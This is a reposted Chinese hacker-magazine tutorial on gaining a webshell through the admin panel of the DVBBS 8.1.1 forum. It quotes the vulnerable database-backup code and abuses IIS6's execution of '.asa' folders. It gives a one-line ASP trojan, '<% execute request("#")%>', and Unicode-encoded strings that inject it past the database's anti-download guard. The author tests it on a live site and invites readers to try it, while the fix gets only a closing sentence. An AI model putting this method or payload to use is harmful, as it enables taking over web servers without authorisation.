動(dòng)網(wǎng)8.1.1版后臺(tái)獲取webshell(轉(zhuǎn)載)
[重要通告]如您遇疑難雜癥,本站支持知識(shí)付費(fèi)業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時(shí)間哦!
動(dòng)網(wǎng)8.1.1版后臺(tái)獲取webshell
來源:紅狼
文章已發(fā)表于《黑客手冊》0802期
圖/文
Cool_wXd
動(dòng)網(wǎng)論壇可以說的國內(nèi)ASP論壇界的老大了,在原來的很多版本中,都出現(xiàn)了不同的漏洞,而且獲取webshell也是挺容易的,但是到了8.1.1版本的時(shí)候,獲取webshell變得異常的艱難,前一段時(shí)間爆出了可以在boke中添加上傳PHP的類型,這個(gè)在服務(wù)器可以解析PHP的條件下是可以的!在 8.0版本是數(shù)據(jù)庫的路徑是可以修改的,那個(gè)時(shí)候可以通過上傳修改成txt格式的數(shù)據(jù)庫文件和木馬文件的捆綁!但是到了8.1.1版本以后,數(shù)據(jù)庫是不允許修改的了,今天下午在紅狼的論壇里看到有朋友在研究后臺(tái)獲取webshell的方法,于是我也研究了一下,也就得出了今天這個(gè)方法!
首先,怎么獲取后臺(tái)管理員賬號(hào)和密碼這里我們就不提了,我們直接進(jìn)入后臺(tái),在備份數(shù)據(jù)庫和恢復(fù)數(shù)據(jù)庫中,我們看到數(shù)據(jù)庫的路徑已經(jīng)修改不了了,如圖
我們來看看源碼,在admin/data.asp中已經(jīng) 而且數(shù)據(jù)庫路經(jīng)設(shè)置是:Dbpath="../"&db,已經(jīng)是直接從conn.asp的配置文件中獲取了用戶所設(shè)置的路徑,所以我們改這個(gè)是不可能的了,那么我們就想起了win2003下,iis6的缺陷也就是.asp的文件夾會(huì)按照ASP文件方式被執(zhí)行,所以我們將目錄修改成.. /Databackup.asp
但是返回的結(jié)果卻是保存數(shù)據(jù)庫名不合法,必須是有效的MDB文件和文件夾目錄!我們還是看源碼,還是在admin/data.asp中,行621開始的updata函數(shù):
sub updata()
'On error resume next
Dim FileConnStr,Fileconn
Dim Tempbackpath
Dbpath="../"&db
‘獲取數(shù)據(jù)庫路徑
'Dbpath=Replace(request.Form("Dbpath"),chr(0),"")
Dbpath=Server.mappath(Dbpath)
bkfolder=Replace(request.Form("bkfolder"),chr(0),"")
‘備份的目錄
bkdbname=Replace(request.Form("bkdbname"),chr(0),"")
‘備份的名稱
Tempbackpath = bkfolder& "/"& bkdbname
‘將目錄和名稱兩個(gè)字符串連接
Rem Add By Dv.唧唧.Net 2007-10-15
If InStr(Lcase(Tempbackpath),".asp")>0 or InStr(Lcase(Tempbackpath),".aspx")>0 or InStr(Lcase(Tempbackpath),".php")>0 Then
‘判斷字符串
response.write "保存數(shù)據(jù)庫名不合法,必須是有效的MDB文件和文件夾目錄!"
Response.End
Exit Sub
End If
If Lcase(Mid(Tempbackpath,instrRev(Tempbackpath,".")+1))<>"mdb" Then
response.write "保存數(shù)據(jù)庫名不合法,必須是有效的MDB文件!"
Response.End
Exit Sub
End If
‘判斷后綴為mdb
我們看到在判斷備份目錄和備份文件名稱時(shí),對字符串中的ASP,ASPX,PHP都做了限制,不過我們知道,ASP和ASA用的都是一個(gè)解析器,在理論上創(chuàng)建.asa文件夾也應(yīng)該是可以被執(zhí)行的,好,按照這個(gè)思路我們試著備份一下,將將目錄修改成../Databackup.asa,并選備份,返回的是備份數(shù)據(jù)庫成功,您備份的數(shù)據(jù)庫路徑為../Databackup.asa/databack200712311207_65542.mdb,如圖
份通過,所以此時(shí)我們的任務(wù)就是尋找論壇可以利用的地方,將我們的一句話木馬插入到數(shù)據(jù)庫中,然后備份。不過還有一個(gè)前提就是IIS版本要求為IIS6 的,由于我的機(jī)器是XP系統(tǒng),安裝的是IIS5.1的,我就在網(wǎng)上找了一個(gè)2003的,首先我們確定IIS版本,在服務(wù)器信息探測中顯示如圖
版本確定以后我們就尋找可以插入木馬的地方吧,但是說到插馬,我們的問題也就又出現(xiàn)了,因?yàn)樵跀?shù)據(jù)庫中DV_notdownload段中的notdown 內(nèi)容為3C25206C6F6F70203C25,也就是ASP語句中的<% loop <%,我們要想讓我們的ASP木馬能夠正常執(zhí)行,首先一個(gè)前提就是閉合<% loop <%,關(guān)于這個(gè)技術(shù),我們參照邪惡八進(jìn)制中平安年間的文章《如何突破數(shù)據(jù)庫Loop防下載實(shí)例》(地址:https://forum.eviloctal.co...,這篇文章也發(fā)表于< <黑客手冊>>2007年第六期,文章版權(quán)屬于黑客手冊。),這里我們再多說一遍原理,為了閉合<% loop <%,我們要在數(shù)據(jù)庫中尋找合適的位置插入"<%'"和":%>"來構(gòu)造出<%'<% loop <%:%>的結(jié)構(gòu),以此將loop的防下載給過濾掉。但是在我測試過程中發(fā)現(xiàn),由于數(shù)據(jù)庫的所包含數(shù)據(jù)量的不同,在備份出來的數(shù)據(jù)庫中不能形成固定的插入位置把loop防下載過濾掉,但是當(dāng)我們把數(shù)據(jù)庫下載回來并保存為ASP格式以后,可以通過winhex等16進(jìn)制編輯器來確定<% loop <%所在的位置,并查找出<% loop <%前后的數(shù)據(jù)內(nèi)容,按照順序來進(jìn)行"<%'"和":%>"的插入,
并把一句話木馬插在注釋語句的前面,這樣我們的一句話木馬才算是插入成功的。在我現(xiàn)在檢測的網(wǎng)站上,經(jīng)過多次的測試,終于得到了想要的效果,大家看我演示就好了。這里找好了一個(gè)地方,就是個(gè)性圈子管理中(其實(shí)其他地方也是可以的,我也是慢慢試出來的,這里我用這個(gè)地方演示),然后按照如圖方式添加一個(gè)圈子,在圈子名稱處,寫入:┼攠數(shù)畣整爠煥敵瑳∨∣┩愾┼砧(“┼攠數(shù)畣整爠煥敵瑳∨∣┩愾┼砧”就是<% execute request("#")%>a<%'x”轉(zhuǎn)換成Unicode字符以后的結(jié)果。) 然后再模板管理處中的添加/編輯自定義標(biāo)簽,我們對login標(biāo)簽進(jìn)行修改: 在模板_主體標(biāo)記部分前面添加┠礫(“┠礫”就是%>x轉(zhuǎn)換成Unicode字符以后的結(jié)果。),這樣我們不僅將<% loop <%注釋掉了,同時(shí)也將我們一句話木馬寫入了注釋的前面,接下來就是笨份數(shù)據(jù)庫,生成以.asa為文件夾的數(shù)據(jù)庫路徑了,這里就不截圖了,我們直接運(yùn)行這個(gè)文件,如圖所示 沒有出現(xiàn)%>不閉合的現(xiàn)象,同時(shí)也證明了我們的一句話木馬正確地插入了!接下來就是一句話木馬連接了
不過這種插入數(shù)據(jù)庫的方法不見得在每一個(gè)論壇上都是通用的,朋友們需要通過對數(shù)據(jù)庫前后內(nèi)容進(jìn)行分析才可以進(jìn)行插馬的,不過這個(gè)方法在獲取 webshell 上確實(shí)是成立的,希望朋友們能好好測試一下。我想這篇文章寫到這里已經(jīng)算是結(jié)束了,但是在利用上也是利用了IIS6的缺陷和動(dòng)網(wǎng)在生成目錄上過濾不嚴(yán)格導(dǎo)致的!至于這個(gè)漏洞的修復(fù),只需將
If InStr(Lcase(Tempbackpath),".asp")>0 or InStr(Lcase(Tempbackpath),".aspx")>0 or InStr(Lcase(Tempbackpath),".php")>0 Then
中繼續(xù)添加其他的由于IIS6缺陷所造成的執(zhí)行錯(cuò)誤!好的,文章就寫到這里了,如果大家有什么疑問可以和我聯(lián)系,我的QQ:15872896.
問題未解決?付費(fèi)解決問題加Q或微信 2589053300 (即Q號(hào)又微信號(hào))右上方掃一掃可加博主微信
所寫所說,是心之所感,思之所悟,行之所得;文當(dāng)無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!